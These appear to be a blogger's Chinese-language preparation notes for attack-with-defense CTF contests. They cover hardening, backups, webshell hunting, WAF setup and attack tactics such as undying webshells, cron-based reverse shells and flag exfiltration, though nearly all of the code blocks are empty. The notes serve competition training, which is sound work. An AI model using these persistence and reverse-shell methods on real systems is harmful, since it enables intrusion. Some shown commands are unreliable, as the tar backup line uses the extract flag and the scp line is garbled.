+mobaxterm似乎是还要了解一下 ssh公钥登陆的命令 +### 1.1 登陆后的思路 +#### 1.1.1 修改默认密码 +- ssh是弱口令要记得修改密码 + +- 如果又权限进入mysql,也需要修改密码 + +#### 1.1.2 信息备份 + +1.tar备份 +``` +tar -zvxf /tmp/www.tar.gz /var/www/html/ +``` + +scp备份 +``` +scp -P ssh_port user@host_ip:/tmp/bak.sql local_filebash +``` + +修改源码的时候,可以利用vscode远程连接 + +或者是利用vi + +2.mysql备份 +``` +``` +## 2.defence + +**1.查询操作** +- 因为tar是不会备份隐藏文件的,所以需要ls -al查看一下是否存在后门 + +- 用d盾或者seay查看一下是否存在预留的一句话木马 + +- 利用grep -r "xxx" /var/www/html/ 查看一下是否有默认文件存在flag + +- 检测端口暴露的情况(3306..),如果MySQL的端口暴露,记得修改一下默认密码(也要修改php/java代码中的连接代码) + +- 查看有没有后门账户 + +**2.脚本部署** +- 日志监控部署(非必要:有些比赛主办方会提供流量) + +- waf部署(有时候waf会被check扣分,所有要看情况。主办方有可能也有要求不能上) + +- 文件监控(一般来说是需要在waf部署之后再部署) + +## 3.Attack +- 抄作业(看流量、别人留的后门可以上车。一句话密码可能是md5的,或许需要网上解码一下。如果是主办方要求不能上网:但是还是一屋子的iphone、honor...你晓得吧?) + +- 代码审计 + +- 权限维持 + +- 利用脚本快速得分(最好是不要一个一个flag交,非常狼狈( + +## 4.详细步骤 +### 4.1 目标确定 +1. 主办方提供**网络拓扑和端口范围** + +1. 攻击机、靶机、check 服务器 + +1.1 确定端口 +``` +``` + +1.2 确定其他目标(扫描c段) +``` +``` +1. 主办方提供端口和ip且ip是连续的 + +1. 直接打就完事了 + +### 4.2 代码审计 + +一般来说很可能会遇到一些tp、yii、laravel二次开发的框架,如果平时也有在收集这些链子的话可能也会用得到。 + +一般来说因为awd时间短,且代码量多所以考核的题目应该也不会太难 +- 漏洞类型 + +1.预置后门 +``` +``` + +如果是ctf用户:最好是就修改一下连接密码就好,留一个预置后门。(直接用蚁剑连接操作作也不是不行 + +2.文件上传 +- 直接使用白名单文件上传 + +3.SQL注入 +- SQL注入 + +- 防御方式:转义 ' " 、确认页面编码和数据库编码统一(基本上过滤90% + +- SQL写shell + +- MySQL端口暴露 + +- 关闭端口暴露或者是修改默认的MySQL密码(注意配置文件也要修改 + +4.反序列化 +- 加过滤,匹配语句类型或者关键字 + +6.xxe +- 禁止引用外部dtd + +7.代码执行 +- 过滤一些关键函数 + +8.文件遍历 +- 过滤关键字 + +### 4.3 权限维持 +#### 4.3.1 文件读取操作 + +我认为权限维持有时候也没办要写不死马之类的,不过 要是所有操作一起上了也不是不行( + +条件允许的话也可以在**一些** +php、js脚本文件,直接写一个读取flag文件的操作也可以在返回的header中(也不容易被发现 +``` +``` +#### 4.3.2 不死马 + +一般来说,都是通过定时任务不断的写shell达到"不死马"这个操作 +- php不死马 + +``` +``` +- Linux定时任务写马 + +``` +``` + +如果被种马了,怎么防御? +- 杀进程后重启服务 + +- 写一个同名的文件夹 + +- 写一个sleep时间低于别人的马(或者写一个脚本不断删除别人的马) + +#### 4.3.3 定时任务 +- 使用定时任务发送带有flag的请求 + +``` +``` +- 使用定时任务反弹shell + +- bash + +``` +``` +- python + +``` +``` +- php + +``` +``` + +如果因为定时任务一直失分咋办? +- 杀进程(ps -ef / px -aux) + +一般/bin/sh是nc服务 +``` +``` + +如果是ctf权限的话,那只能写个马执行这个命令 +#### 4.3.4 宕机 + +如果遇到不得不宕机的情况可以使用 +``` +``` +### 4.4 关于脚本 +#### 4.4.1.上传waf + +check机制可能会check到waf过滤的参数,导致宕机(所以上床waf要慎重 +``` +``` + +可以在upload目录下写.htaccess禁止php文件执行 +``` +``` +#### 4.4.2.主板方提供流量 + +可以使用wireshark + +基础用法: +- 过滤IP地址 + +> ip.addr == 192.168.1.1 //只显示源/目的IP为192.168.1.1的数据包not ip.src == 1.1.1.1 //不显示源IP为1.1.1.1的数据包ip.src == 1.1.1.1 or ip.dst == 1.1.1.2 //只显示源IP为1.1.1.1或目的IP为1.1.1.2的数据包 + +- 过滤端口 + +> tcp.port eq 80 #不管端口是来源还是目的都显示80端口tcp.port == 80tcp.port eq 2722tcp.port eq 80 or udp.port eq 80tcp.dstport == 80 #只显示tcp协议的目标端口80tcp.srcport == 80 #只显示tcp协议的来源端口80udp.port eq 15000tcp.port >= 1 and tcp.port <= 80 #过滤端口范围 + +- 过滤MAC地址 + +> eth.dst == MAC地址 #过滤目标MACeth.src eq MAC地址 #过滤来源MAC3.eth.addr eq MAC地址 #过滤来源MAC和目标MAC都等于MAC地址的 + +- http请求方式过滤 + +> http.request.method == “GET”2.http.request.method == “POST”3.http.host mathes “www.baidu.com|http://baidu.cn“ #matches可以写多个域名http.host contains “http://www.baidu.com“ #contain只能写一个域名http contains “GET” + + +多条过滤语句执行: +``` +``` +#### 4.4.3.文件监控 + +如果靶机没有python环境,那还需要在安装一下 +``` +``` +## 参考文章 + +https://www.anquanke.com/post/id/245158#h3-19 + +https://justloseit.top/AWD%20%E8%B5%9B%E5%89%8D%E5%87%86%E5%A4%87/ + +https://linux.cn/article-5685-1-rss.html + +https://qftm.github.io/2019/08/03/AWD-Bugs-Fix/#toc-heading-22 + +https://github.com/sharpleung/CTF-WAF + +点击收藏  +|  +3 +关注 + |  +4 +打赏 +